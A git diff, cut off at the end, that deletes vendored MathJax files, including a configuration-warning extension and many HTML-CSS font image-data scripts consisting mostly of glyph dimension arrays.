-(function(b,e){var d="1.1";var a={style:{position:"fixed",bottom:"4em",left:"3em",width:"40em",border:"3px solid #880000","background-color":"#E0E0E0",padding:"1em","font-size":"small","white-space":"normal","border-radius":".75em","-webkit-border-radius":".75em","-moz-border-radius":".75em","-khtml-border-radius":".75em","box-shadow":"4px 4px 10px #AAAAAA","-webkit-box-shadow":"4px 4px 10px #AAAAAA","-moz-box-shadow":"4px 4px 10px #AAAAAA","-khtml-box-shadow":"4px 4px 10px #AAAAAA",filter:"progid:DXImageTransform.Microsoft.dropshadow(OffX=3, OffY=3, Color='gray', Positive='true')"}};if(b.Browser.isIE9&&document.documentMode>=9){delete a.style.filter}var c;b.Register.StartupHook("onLoad",function(){var f=document.body;if(b.Browser.isMSIE){MathJax.Message.Init();f=document.getElementById("MathJax_MSIE_frame")||f;a.style.position="absolute"}else{delete a.style.filter}a.style.maxWidth=(document.body.clientWidth-75)+"px";c=e.addElement(f,"div",{id:"MathJax_ConfigWarning",style:a.style},[["div",{style:{position:"absolute",overflow:"hidden",top:".1em",right:".1em",border:"1px outset",width:"1em",height:"1em","text-align":"center",cursor:"pointer","background-color":"#EEEEEE",color:"#606060","border-radius":".5em","-webkit-border-radius":".5em","-moz-border-radius":".5em","-khtml-border-radius":".5em"},onclick:function(){c.style.display="none"}},[["span",{style:{position:"relative",bottom:".2em"}},["x"]]]],"MathJax no longer loads a default configuration file; you must specify such files explicitly. This page seems to use the older default ",["code",{},["config/MathJax.js"]]," file, and so needs to be updated.  This is explained further at",["p",{style:{"text-align":"center"}},[["a",{href:"http://www.mathjax.org/help/configuration"},["http://www.mathjax.org/help/configuration"]]]]])})})(MathJax.Hub,MathJax.HTML);MathJax.Ajax.loadComplete("[MathJax]/extensions/v1.0-warning.js");
-
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/eot/MathJax_AMS-Regular.eot b/public/MathJax/fonts/HTML-CSS/TeX/eot/MathJax_AMS-Regular.eot
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diff --git a/public/MathJax/fonts/HTML-CSS/TeX/eot/MathJax_Main-Bold.eot b/public/MathJax/fonts/HTML-CSS/TeX/eot/MathJax_Main-Bold.eot
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diff --git a/public/MathJax/fonts/HTML-CSS/TeX/eot/MathJax_Script-Regular.eot b/public/MathJax/fonts/HTML-CSS/TeX/eot/MathJax_Script-Regular.eot
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diff --git a/public/MathJax/fonts/HTML-CSS/TeX/eot/MathJax_Typewriter-Regular.eot b/public/MathJax/fonts/HTML-CSS/TeX/eot/MathJax_Typewriter-Regular.eot
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diff --git a/public/MathJax/fonts/HTML-CSS/TeX/eot/MathJax_WinIE6-Regular.eot b/public/MathJax/fonts/HTML-CSS/TeX/eot/MathJax_WinIE6-Regular.eot
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diff --git a/public/MathJax/fonts/HTML-CSS/TeX/imagedata.js b/public/MathJax/fonts/HTML-CSS/TeX/imagedata.js
deleted file mode 100644
index 6b5b1329..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/imagedata.js
+++ /dev/null
@@ -1,33 +0,0 @@
-/*
- *  imagedata.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-(function (HTMLCSS) {
-
-  //
-  //  Since this is the new font data, reset the 
-  //  flag and the imgPacked values
-  //
-  HTMLCSS.config.useOldImageData = false;
-  HTMLCSS.imgPacked = (MathJax.isPacked ? "" : "/unpacked");
-
-  //
-  //  Load the actual image data file
-  //  before loadComplete is called
-  //
-  MathJax.Callback.Queue(
-    ["Require",MathJax.Ajax,HTMLCSS.imgDir+HTMLCSS.imgPacked+"/imagedata.js"],
-    ["loadComplete",MathJax.Ajax,HTMLCSS.webfontDir+"/imagedata.js"]
-  );
-
-})(MathJax.OutputJax["HTML-CSS"]);
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/otf/MathJax_AMS-Regular.otf b/public/MathJax/fonts/HTML-CSS/TeX/otf/MathJax_AMS-Regular.otf
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diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/Arrows.js b/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/Arrows.js
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--- a/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/Arrows.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/Arrows.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
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-
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/BBBold.js b/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/BBBold.js
deleted file mode 100644
index 00bc2e27..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/BBBold.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/BBBold.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
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diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/BoxDrawing.js b/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/BoxDrawing.js
deleted file mode 100644
index 6259442a..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/BoxDrawing.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/BoxDrawing.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({MathJax_AMS:{9484:[[4,3,-2],[4,4,-2],[5,4,-3],[6,5,-3],[7,6,-4],[8,7,-5],[9,8,-6],[11,10,-7],[13,12,-8],[15,13,-10],[18,17,-11],[21,19,-14],[25,23,-16],[30,26,-20]],9488:[[4,3,-2],[4,4,-2],[5,4,-3],[6,5,-3],[7,6,-4],[8,7,-5],[9,9,-5],[11,10,-7],[13,12,-8],[15,13,-10],[18,17,-11],[21,19,-14],[25,23,-16],[30,26,-20]],9492:[[4,3,0],[4,4,0],[5,4,0],[6,6,1],[7,6,1],[8,7,1],[9,8,1],[11,10,1],[13,11,1],[15,13,1],[18,16,1],[21,19,1],[25,23,2],[30,27,2]],9496:[[4,4,1],[4,4,1],[5,5,1],[6,6,1],[7,6,1],[8,7,1],[9,8,1],[11,10,1],[13,11,1],[15,13,1],[18,16,1],[21,18,1],[25,23,2],[30,26,2]],9585:[[6,7,2],[8,8,2],[9,9,2],[11,12,3],[12,13,3],[15,16,4],[17,18,4],[20,22,5],[24,26,6],[29,30,7],[34,36,8],[40,43,10],[48,50,11],[57,59,13]],9586:[[6,7,2],[8,8,2],[9,9,2],[11,12,3],[12,13,3],[15,16,4],[17,18,4],[20,22,5],[24,26,6],[29,30,7],[34,36,8],[40,43,10],[48,50,11],[57,59,13]]}});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/AMS/Regular"+MathJax.OutputJax["HTML-CSS"].imgPacked+"/BoxDrawing.js");
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diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/CombDiacritMarks.js b/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/CombDiacritMarks.js
deleted file mode 100644
index 419a25f1..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/CombDiacritMarks.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/CombDiacritMarks.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({MathJax_AMS:{770:[[18,3,-3],[21,3,-4],[25,3,-5],[29,4,-6],[34,5,-8],[40,5,-9],[47,6,-11],[56,8,-12],[66,8,-16],[79,10,-19],[93,12,-21],[111,14,-26],[131,17,-30],[156,20,-36]],771:[[17,2,-4],[20,2,-5],[23,4,-5],[28,5,-7],[33,4,-9],[39,5,-10],[46,6,-12],[55,6,-15],[65,8,-17],[77,9,-21],[92,11,-25],[109,13,-29],[129,15,-35],[154,18,-41]]}});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/AMS/Regular"+MathJax.OutputJax["HTML-CSS"].imgPacked+"/CombDiacritMarks.js");
-
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/Dingbats.js b/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/Dingbats.js
deleted file mode 100644
index c8f71fc9..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/Dingbats.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/Dingbats.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({MathJax_AMS:{10003:[[6,6,1],[7,7,1],[8,8,1],[9,10,1],[11,11,1],[13,13,1],[15,15,1],[18,18,1],[21,21,1],[25,26,2],[30,30,2],[35,35,2],[42,42,2],[50,50,3]],10016:[[6,6,1],[7,7,1],[8,9,1],[10,10,1],[11,11,1],[13,13,1],[16,15,1],[19,18,1],[22,21,1],[26,25,1],[31,30,1],[37,35,1],[44,42,2],[52,50,2]]}});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/AMS/Regular"+MathJax.OutputJax["HTML-CSS"].imgPacked+"/Dingbats.js");
-
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/EnclosedAlphanum.js b/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/EnclosedAlphanum.js
deleted file mode 100644
index 2811294e..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/EnclosedAlphanum.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/EnclosedAlphanum.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({MathJax_AMS:{9416:[[7,6,1],[8,8,2],[9,9,2],[11,10,2],[13,12,2],[15,15,3],[18,17,3],[21,20,4],[25,24,5],[30,29,6],[35,34,7],[42,41,8],[50,49,10],[59,58,12]]}});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/AMS/Regular"+MathJax.OutputJax["HTML-CSS"].imgPacked+"/EnclosedAlphanum.js");
-
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/GeneralPunctuation.js b/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/GeneralPunctuation.js
deleted file mode 100644
index 4af26c02..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/GeneralPunctuation.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/GeneralPunctuation.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({MathJax_AMS:{8245:[[2,4,0],[3,5,0],[3,5,0],[3,6,-1],[4,7,-1],[5,9,-1],[5,10,-1],[6,12,-1],[7,15,-1],[9,17,-1],[10,20,-2],[12,24,-2],[14,29,-2],[17,34,-3]]}});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/AMS/Regular"+MathJax.OutputJax["HTML-CSS"].imgPacked+"/GeneralPunctuation.js");
-
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/GeometricShapes.js b/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/GeometricShapes.js
deleted file mode 100644
index 13458f29..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/GeometricShapes.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/GeometricShapes.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({MathJax_AMS:{9632:[[5,5,0],[6,6,0],[8,7,0],[9,9,0],[10,10,0],[12,12,0],[15,14,0],[17,16,0],[20,20,0],[24,23,0],[29,27,0],[34,32,0],[40,39,0],[48,46,0]],9633:[[5,5,0],[6,6,0],[7,7,0],[9,8,0],[10,10,0],[12,12,0],[14,14,0],[17,16,0],[21,20,0],[24,23,0],[29,27,0],[34,32,0],[40,39,0],[48,46,0]],9650:[[5,5,1],[6,6,1],[7,7,1],[8,8,1],[9,9,1],[11,11,1],[13,13,1],[15,15,1],[18,17,1],[21,20,1],[25,24,1],[30,28,1],[36,34,2],[42,40,2]],9651:[[5,5,0],[6,5,0],[7,6,0],[8,8,1],[9,10,1],[11,11,1],[13,13,1],[15,15,1],[18,17,1],[21,20,1],[25,24,1],[30,28,1],[36,34,2],[42,41,2]],9654:[[5,5,1],[6,6,1],[7,7,1],[9,8,1],[10,9,1],[12,10,1],[14,12,1],[17,14,1],[20,17,2],[23,20,2],[28,24,2],[33,28,2],[39,33,3],[46,39,3]],9660:[[5,5,1],[6,6,1],[7,7,1],[8,8,1],[9,9,1],[11,11,1],[13,13,1],[15,15,1],[18,17,1],[21,20,1],[25,24,1],[30,28,1],[36,33,1],[42,40,2]],9661:[[5,5,1],[6,6,1],[7,7,1],[8,8,1],[9,9,1],[11,11,1],[13,13,1],[15,15,1],[18,17,1],[21,20,1],[25,24,1],[30,28,1],[36,33,1],[42,40,2]],9664:[[5,5,1],[6,6,1],[7,7,1],[9,8,1],[10,9,1],[12,10,1],[14,12,1],[17,14,1],[20,17,2],[23,20,2],[28,24,2],[33,28,2],[39,33,3],[46,39,3]],9674:[[5,6,1],[6,8,2],[7,10,2],[8,11,2],[9,12,2],[11,15,3],[12,17,3],[15,21,4],[17,24,4],[21,29,5],[25,35,6],[29,41,7],[34,48,8],[41,57,9]]}});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/AMS/Regular"+MathJax.OutputJax["HTML-CSS"].imgPacked+"/GeometricShapes.js");
-
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/GreekAndCoptic.js b/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/GreekAndCoptic.js
deleted file mode 100644
index 7a7a644b..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/GreekAndCoptic.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/GreekAndCoptic.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({MathJax_AMS:{989:[[5,6,2],[6,7,1],[8,8,2],[9,9,1],[10,11,2],[12,13,2],[15,15,2],[17,17,2],[20,19,2],[24,23,3],[29,27,3],[34,33,4],[40,38,5],[48,46,6]],1008:[[6,3,0],[7,4,0],[8,5,0],[9,5,0],[11,7,0],[13,8,0],[15,9,0],[18,10,0],[21,12,0],[25,15,0],[29,17,0],[35,21,0],[41,25,0],[49,29,0]]}});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/AMS/Regular"+MathJax.OutputJax["HTML-CSS"].imgPacked+"/GreekAndCoptic.js");
-
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/Latin1Supplement.js b/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/Latin1Supplement.js
deleted file mode 100644
index 7cc61bfa..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/Latin1Supplement.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/Latin1Supplement.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({MathJax_AMS:{160:[[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0]],165:[[6,5,0],[7,6,0],[8,7,0],[9,8,0],[11,9,0],[13,11,0],[15,13,0],[18,16,0],[21,19,0],[25,22,0],[29,27,0],[35,32,0],[41,38,0],[49,45,0]],174:[[7,6,1],[8,8,2],[9,9,2],[11,10,2],[13,12,2],[16,15,3],[18,17,3],[22,20,4],[26,24,5],[31,29,6],[36,34,7],[43,41,8],[51,49,10],[61,59,12]],240:[[4,5,0],[5,6,0],[5,8,0],[6,9,0],[8,11,0],[9,13,0],[10,15,0],[12,18,0],[15,22,2],[17,25,1],[20,30,1],[24,36,1],[29,43,1],[34,51,1]]}});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/AMS/Regular"+MathJax.OutputJax["HTML-CSS"].imgPacked+"/Latin1Supplement.js");
-
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/LatinExtendedA.js b/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/LatinExtendedA.js
deleted file mode 100644
index 07f6332a..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/LatinExtendedA.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/LatinExtendedA.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
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diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/LetterlikeSymbols.js b/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/LetterlikeSymbols.js
deleted file mode 100644
index dbee479b..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/LetterlikeSymbols.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/LetterlikeSymbols.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
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diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/Main.js b/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/Main.js
deleted file mode 100644
index 178b4c40..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/Main.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/Main.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
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diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/MathOperators.js b/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/MathOperators.js
deleted file mode 100644
index 87762595..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/MathOperators.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/MathOperators.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
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diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/MiscMathSymbolsB.js b/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/MiscMathSymbolsB.js
deleted file mode 100644
index bc544774..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/MiscMathSymbolsB.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/MiscMathSymbolsB.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({MathJax_AMS:{10731:[[5,6,1],[6,8,2],[7,10,2],[8,11,2],[9,12,2],[11,15,3],[12,17,3],[15,21,4],[17,24,4],[21,29,5],[25,35,6],[29,41,7],[34,48,8],[41,57,9]]}});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/AMS/Regular"+MathJax.OutputJax["HTML-CSS"].imgPacked+"/MiscMathSymbolsB.js");
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diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/MiscSymbols.js b/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/MiscSymbols.js
deleted file mode 100644
index e9fd181e..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/MiscSymbols.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/MiscSymbols.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({MathJax_AMS:{9733:[[7,6,1],[8,7,1],[9,9,2],[11,11,2],[13,12,2],[15,14,2],[18,17,3],[21,20,3],[25,24,4],[30,27,4],[36,33,5],[42,39,6],[50,46,7],[60,54,8]]}});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/AMS/Regular"+MathJax.OutputJax["HTML-CSS"].imgPacked+"/MiscSymbols.js");
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diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/MiscTechnical.js b/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/MiscTechnical.js
deleted file mode 100644
index e3c4dce0..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/MiscTechnical.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/MiscTechnical.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({MathJax_AMS:{8994:[[5,3,0],[6,3,0],[8,3,-1],[9,4,-1],[10,5,-1],[12,6,-1],[15,6,-2],[17,7,-2],[20,8,-3],[24,9,-4],[29,11,-4],[34,13,-5],[40,15,-6],[48,17,-8]],8995:[[5,2,-1],[6,3,-1],[8,3,-1],[9,4,-1],[11,4,-2],[13,5,-2],[15,5,-3],[17,6,-3],[21,8,-3],[24,9,-4],[29,10,-5],[34,12,-6],[40,14,-7],[48,16,-9]]}});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/AMS/Regular"+MathJax.OutputJax["HTML-CSS"].imgPacked+"/MiscTechnical.js");
-
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/PUA.js b/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/PUA.js
deleted file mode 100644
index 6081ba8a..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/PUA.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/PUA.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({MathJax_AMS:{57350:[[3,4,1],[3,5,1],[4,6,1],[4,7,1],[5,7,1],[5,9,1],[6,10,1],[7,11,1],[8,13,1],[9,16,1],[11,18,1],[13,22,2],[16,26,2],[18,31,2]],57351:[[4,4,1],[5,5,1],[6,6,1],[6,7,1],[7,7,1],[8,9,1],[10,10,1],[11,11,1],[13,13,1],[15,16,1],[17,18,1],[21,23,2],[25,26,2],[29,31,2]],57352:[[5,6,1],[6,6,1],[8,7,1],[9,9,1],[10,11,2],[12,13,2],[15,14,2],[17,17,2],[20,20,3],[24,23,3],[29,28,4],[34,33,4],[40,39,5],[48,46,6]],57353:[[6,4,1],[7,5,1],[8,6,1],[9,7,1],[11,7,1],[13,9,1],[15,10,1],[18,12,1],[21,13,1],[25,16,1],[29,19,1],[35,22,1],[41,25,1],[49,30,1]],57356:[[5,8,2],[6,10,3],[7,11,3],[9,13,4],[10,15,4],[12,18,5],[14,21,6],[17,25,7],[20,29,8],[23,35,10],[28,42,12],[33,49,14],[39,58,16],[46,69,19]],57357:[[5,8,2],[6,10,3],[7,11,3],[9,13,4],[10,15,4],[12,18,5],[14,21,6],[17,25,7],[20,29,8],[23,35,10],[28,42,12],[33,49,14],[39,58,16],[46,69,19]],57358:[[5,10,3],[6,12,4],[7,15,5],[9,16,5],[10,19,6],[12,23,7],[14,27,9],[17,32,10],[20,38,12],[23,45,14],[28,53,17],[33,63,20],[39,75,24],[46,89,28]],57359:[[5,9,3],[6,10,3],[7,12,4],[9,14,4],[10,17,5],[12,20,6],[14,22,6],[17,27,8],[20,32,9],[23,37,10],[28,44,12],[33,52,14],[39,62,17],[46,73,20]],57360:[[5,9,3],[6,10,3],[8,12,4],[9,14,4],[10,17,5],[12,20,6],[14,22,6],[17,27,8],[20,32,9],[24,37,10],[28,44,12],[33,52,14],[39,62,17],[47,73,20]],57361:[[5,10,3],[6,12,4],[7,15,5],[9,16,5],[10,19,6],[12,23,7],[14,27,9],[17,32,10],[20,38,12],[23,45,14],[28,53,17],[33,63,20],[39,75,24],[46,89,28]],57366:[[5,9,3],[6,10,3],[7,13,4],[9,14,4],[10,17,5],[12,20,6],[14,24,7],[17,27,8],[20,33,10],[23,38,11],[28,46,13],[33,55,16],[39,65,19],[46,77,22]],57367:[[5,9,3],[6,10,3],[7,12,4],[9,13,4],[10,16,5],[12,19,6],[14,22,7],[17,26,8],[20,31,10],[23,36,11],[28,43,13],[33,51,16],[39,61,19],[46,72,22]],57368:[[5,9,3],[6,10,3],[7,12,4],[9,14,4],[10,17,5],[12,20,6],[14,23,7],[17,27,8],[20,33,10],[23,39,11],[28,46,13],[33,55,16],[39,65,19],[46,77,22]],57369:[[5,9,3],[6,10,3],[7,12,4],[9,13,4],[10,16,5],[12,19,6],[14,22,7],[1